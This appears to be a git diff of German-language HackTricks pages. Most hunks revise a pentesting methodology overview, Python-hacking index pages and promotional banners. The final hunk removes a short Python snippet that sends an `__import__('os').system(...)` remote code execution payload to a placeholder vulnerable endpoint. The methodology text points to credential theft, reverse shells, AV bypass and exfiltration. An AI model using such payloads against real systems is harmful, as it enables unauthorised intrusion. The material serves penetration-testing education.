<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
@ -654,6 +658,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>

View file

@ -9,18 +9,18 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
{% embed url="https://www.stmcyber.com/careers" %}
## Pentesting Methodology
## Pentesting-Methodik
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
@ -41,19 +41,19 @@ Beachten Sie, dass bei einem externen Test, sobald Sie Zugriff auf das interne N
### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/) **(Intern)**
**Dieser Abschnitt gilt nur, wenn Sie einen internen Test durchführen.**\
Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten** **mitschneiden**, um passiv/aktiv (MitM) herauszufinden, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen.
Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten sniffen**, um passiv/aktiv (MitM) herauszufinden, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen.
### 3- [Port-Scan - Service-Erkennung](pentesting-network/#scanning-hosts)
Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Host-Ports**](pentesting-network/#scanning-hosts) an.
Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) an.
### **4-** [Suche nach Service-Version-Exploits](search-exploits.md)
### **4-** [Suche nach Service-Versionsexploits](search-exploits.md)
Sobald Sie wissen, welche Dienste ausgeführt werden, und vielleicht deren Version, müssen Sie nach bekannten Schwachstellen suchen. Vielleicht haben Sie Glück und es gibt einen Exploit, der Ihnen eine Shell gibt...
Sobald Sie wissen, welche Dienste ausgeführt werden, und möglicherweise deren Version, müssen Sie nach bekannten Schwachstellen suchen. Vielleicht haben Sie Glück und es gibt einen Exploit, der Ihnen eine Shell gibt...
### **5-** Pentesting-Services
Wenn es keinen ausgefallenen Exploit für einen ausgeführten Dienst gibt, sollten Sie nach **allgemeinen Fehlkonfigurationen in jedem ausgeführten Dienst suchen**.
Wenn es keinen ausgefallenen Exploit für einen ausgeführten Dienst gibt, sollten Sie nach **üblichen Fehlkonfigurationen in jedem ausgeführten Dienst suchen**.
**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig vorkommen)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet).
@ -64,9 +64,9 @@ Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachst
#### 5.1 Automatische Tools
Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das Tool, das ich erstellt habe und das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.**
Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde Ihnen empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.**
#### **5.2 Brute-Force von Diensten**
#### **5.2 Brute-Force-Dienste**
In einigen Szenarien könnte ein **Brute-Force** nützlich sein, um einen **Dienst zu kompromittieren**. [**Hier finden Sie eine Spickzettel für das Brute-Forcing verschiedener Dienste**](brute-force.md)**.**
@ -76,7 +76,7 @@ Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben
### **7-** [**Shell erhalten**](shells/)
Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich.
Irgendwie sollten Sie **eine Möglichkeit gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich](shells/).
Insbesondere bei Windows könnten Sie Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfen Sie diese Seite**](../windows-hardening/av-bypass.md)**.**\\
@ -90,13 +90,13 @@ Wenn Sie Probleme mit der Shell haben, finden Sie hier eine kleine **Zusammenste
### **9 -** [**Exfiltration**](exfiltration.md)
Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier finden Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier haben Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
### **10- Privilege Escalation**
#### **10.1- Lokale Berechtigungserweiterung**
#### **10.1- Lokale Privilege-Eskalation**
Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu erweitern.**\
Hier finden Sie eine **Anleitung zur lokalen Berechtigungserweiterung in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu eskalieren.**\
Hier finden Sie eine **Anleitung zur Eskalation von Berechtigungen lokal in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprüfen:
* [**Authentifizierung, Anmeldeinformationen, Token-Berechtigungen und UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
@ -104,11 +104,11 @@ Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprü
* Wie man Anmeldeinformationen in Windows [**stiehlt**](broken-reference/)
* Einige Tricks zu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Berechtigungserweiterung zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Privilege-Eskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domänenberechtigungserweiterung**
#### **10.2- Domänen-Privilege-Eskalation**
Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, Berechtigungserweiterung und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein.
Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, Eskalation von Berechtigungen und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein.
### 11 - POST
@ -149,7 +149,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
@ -157,7 +157,7 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
<details>
<summary><strong>Erlernen Sie das AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
@ -165,6 +165,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>

View file

@ -2,52 +2,52 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um einfach **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Interessante Seiten zum Überprüfen:**
* [**Pyscript Hacking-Tricks**](pyscript.md)
* [**Pyscript-Hacking-Tricks**](pyscript.md)
* [**Python-Deserialisierungen**](../../pentesting-web/deserialization/#python)
* [**Tricks zum Umgehen von Python-Sandboxes**](bypass-python-sandboxes/)
* [**Grundlegende Syntax für Python-Webanfragen**](web-requests.md)
* [**Grundlegende Python-Syntax und Bibliotheken**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um einfach **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash
@ -39,23 +39,24 @@ is fixed running
pip3 install wheel
inside the virtual environment
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary>Lernen Sie das Hacken von AWS von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -90,25 +90,7 @@ return resp.json()
def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Python-Befehl zur Ausnutzung einer RCE
Um eine Remote Code Execution (RCE) auszunutzen, können Sie den folgenden Python-Befehl verwenden:
```python
import requests
url = "http://zielwebsite.com/vulnerable-endpoint"
payload = "__import__('os').system('Befehl zum Ausführen des Remote-Codes')"
response = requests.get(url + "?param=" + payload)
print(response.text)
```
Ersetzen Sie "http://zielwebsite.com/vulnerable-endpoint" durch die URL des verwundbaren Endpunkts auf der Zielseite. Ersetzen Sie außerdem "Befehl zum Ausführen des Remote-Codes" durch den Befehl, den Sie ausführen möchten.
